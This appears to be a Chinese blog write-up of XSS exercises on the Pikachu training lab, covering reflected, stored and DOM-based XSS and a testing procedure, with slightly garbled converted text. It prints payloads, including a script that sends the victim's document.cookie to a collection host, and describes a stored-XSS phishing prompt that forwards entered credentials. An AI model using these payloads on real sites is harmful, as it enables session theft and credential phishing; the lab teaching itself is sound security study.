頹廢了幾天,該好好努力了。php
XSS概述前端
XSS漏洞是web漏洞中危害較大的漏洞,是一種發生在web前端的漏洞,因此危害的對象也主要是前端用戶,XSS能夠用來進行釣魚攻擊,前端js挖礦,獲取用戶cookie。甚至能夠結合瀏覽器自身的漏洞對用戶主機進行遠程控制等。web
XSS漏洞的常見類型數據庫
1.反射型,交互的數據通常不會存在在數據庫裏面,一次性,所見即所得,通常出如今查詢類頁面等。瀏覽器
2.存儲型交互的數據會被存在數據庫裏面,永久性存儲,通常出如今留言板,註冊等頁面。服務器
3.DOM型不與後臺服務器產生數據交互,是一種經過DOM操做前端代碼輸出的時候產生的問題,一次性,也屬於反射型。cookie
XSS漏洞造成的緣由dom
造成XSS漏洞的主要緣由是程序對輸入和輸出的控制不夠嚴格,致使」精心構造」的腳本輸入後,再輸到前端時被瀏覽器看成有效代碼解析執行從而產生危害xss
XSS漏洞測試流程工具
1, 在目標站點上找到輸入點,好比查詢接口,留言板等
2, 輸入一組「特殊字符+惟一識別字符」,點擊提交後,查看返回的源碼,是否有作對應的處理
3, 經過搜索定位到惟一字符,結合惟一字符先後的語法確認是否能夠構造執行js的條件(構造閉合)
4, 提交構造的腳本代碼,看是否能夠成功執行,若是成功執行則說明純在XSS漏洞
Tips:
下面開始靶場的練習
反射型XSS(get)
按照咱們的測試流程,先輸入一些可能會被過濾的字符和惟一字符
咱們查看一下源代碼
經過查找發現咱們的惟一字符
發現沒有任何的過濾,那麼咱們就能夠構造一個xss的彈窗(不只限於彈窗,這裏只是作演示)
<script>alert('xss')</script>
發現前端限制了咱們的輸入長度
咱們能夠在開發者工具中進行修改
這樣咱們就能夠插入咱們的payload了
存儲型XSS
通常都是在留言板內,把內容保存在數據庫,這樣每次訪問這個頁面就會觸發xss
這個很少說,和反射型就這個區別
DOM型XSS
定義一個str來接收id爲text的值
而後再把str寫進a標籤裏面給了id爲dom的div
這樣咱們能夠構造把a標籤添加屬性的xss
' onclick = "alert('xss')">
給a標籤一個單擊的屬性,裏面寫入xss代碼
dom型xss-x
其實也是同樣的
window.location.search獲取url?後面的部分
而後進行url解碼
獲取text後面的內容
而後再發送給讓往事都隨風吧
' onclick = "alert('xss')">
當咱們點擊這句話的時候也同樣會觸發咱們的xss代碼
get型XSS獲取cookie
pikachu有自帶的XSS測試平臺
配置登錄之後
進入cookie收集
目前當咱們尚未進行測試的時候,是爲空的,
當咱們構造一個xss代碼
<script>document.location = ‘http://10.2.10.35/pikachu/pkxss/xcookie/cookie.php?cookie='+document.cookie;</script>
跳轉到咱們接收cookie的頁面,而且把cookie帶入,構成一個完整的get請求
查看cookie.php文件,
這裏改爲你想要跳轉的頁面,僞造出你這個頁面沒問題
以後咱們就能夠把構造好的頁面發送給別人
讓別人點擊之後查看效果
反射型xss(post)
我我的的理解是,在被攻擊的用戶打開某個存在xss漏洞的頁面的時候,在已經登錄的狀態下又點開了攻擊者發來的連接,連接給存在xss漏洞的頁面提交了post請求,JS獲取到了cookie而後返回到攻擊者的接口
首先先看靶場
經過提示咱們知道帳號密碼是admin/123456
XSS釣魚攻擊(存儲型XSS)
當打開咱們帶有釣魚xss的網頁時,會彈出一個進行身份驗證的窗口,讓你輸入帳號密碼,帳號密碼就會發往咱們的XSS後臺